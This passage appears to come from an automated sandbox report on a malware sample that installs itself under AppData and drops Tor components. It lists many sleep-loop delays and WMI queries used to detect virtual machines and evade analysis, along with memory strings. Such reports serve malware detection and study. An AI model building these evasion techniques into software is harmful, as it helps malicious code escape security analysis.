Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599641 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599516 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599406 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599297 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599187 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599078 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598969 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598859 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598750 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598640 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598531 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598422 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598312 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598203 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598093 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597984 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597875 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597765 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597646 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597507 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597359 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597234 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597123 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597015 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596897 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596781 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596672 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596562 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596453 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596344 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596219 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596109 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596000 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595885 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595781 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595670 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595562 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595451 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595344 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595234 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595125 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595015 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594906 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594797 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594687 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594578 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594468 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594359 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594248 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Window / User API: threadDelayed 7834 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Window / User API: threadDelayed 1968 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libevent_extra-2-1-7.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\libevent_core-2-1-7.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-gencert.exe Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe API coverage: 0.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 7320 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -34126476536362649s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -599891s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -599758s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -599641s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -599516s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -599406s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -599297s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -599187s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -599078s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -598969s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -598859s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -598750s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -598640s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -598531s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -598422s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -598312s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -598203s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -598093s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -597984s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -597875s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -597765s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -597646s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -597507s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -597359s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -597234s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -597123s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -597015s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -596897s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -596781s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -596672s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -596562s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -596453s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -596344s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -596219s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -596109s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -596000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -595885s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -595781s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -595670s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -595562s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -595451s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -595344s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -595234s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -595125s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -595015s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -594906s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -594797s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -594687s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -594578s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -594468s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -594359s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7640 Thread sleep time: -594248s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7588 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7676 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 8152 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 7184 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Starlabs\file.exe TID: 4248 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BaseBoard
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Starlabs\file.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599891 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599758 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599641 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599516 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599406 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599297 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599187 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 599078 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598969 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598859 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598750 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598640 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598531 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598422 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598312 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598203 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 598093 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597984 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597875 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597765 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597646 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597507 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597359 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597234 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597123 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 597015 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596897 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596781 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596672 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596562 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596453 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596344 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596219 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596109 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 596000 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595885 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595781 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595670 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595562 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595451 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595344 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595234 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595125 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 595015 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594906 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594797 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594687 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594578 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594468 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594359 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 594248 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Starlabs\file.exe Thread delayed: delay time: 922337203685477
Source: tor-real.exe, 00000009.00000003.3259542185.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000002.4105419927.00000000065AC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: uYokVhUJb6WtFnT8DozGPj8jy0EYMz3v9wMgJDrLoWE4JhgFSVpxAgMBAAE=
Source: tor-real.exe, 00000009.00000003.1998242712.00000000045F2000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000002.4104619563.0000000005EB3000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ix52iJ26SzIlUF5XQduq2BCa2ebMGtxjo6UUKpYcs7YqEmuqlKJVRknfn/S5DiHs
Source: tor-real.exe, 00000009.00000002.4103469969.0000000005494000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.2008012573.00000000054F8000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.1984022545.00000000045C5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: MIGJAoGBAMK1FHhz4de3qXltieuMlXNJ62ExEwMbZ2tV57qEmuK15Nh1Jfx1KnmL
Source: file.exe, 00000000.00000002.1654569150.000002750047D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qemu2m
Source: tor-real.exe, 00000009.00000003.1934348565.0000000004B84000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 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-8ffoWrZhSf
Source: tor-real.exe, 00000009.00000003.1902661880.00000000045EB000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.1903117586.000000000475D000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.1908440671.0000000004A2D000.00000004.00000020.00020000.00000000.sdmp, unverified-microdesc-consensus.tmp.9.dr Binary or memory string: m 8kRA+S9GNG//jhrWaYWijMJ53GpgmVlka6k/c11QeMU
Source: file.exe, 00000000.00000002.1654569150.000002750047D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: nooo:vmware
Source: tor-real.exe, 00000009.00000002.4104131202.0000000005971000.00000004.00000020.00020000.00000000.sdmp, tor-real.exe, 00000009.00000003.1989607353.00000000045EE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: MIGJAoGBAOEG5CxvYcxqEmUUUKkuPP0I+RdMilNHF3/bEYf/Es7Mn05PPRNNEYKC
Source: file.exe, 00000000.00000002.1654569150.000002750047D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
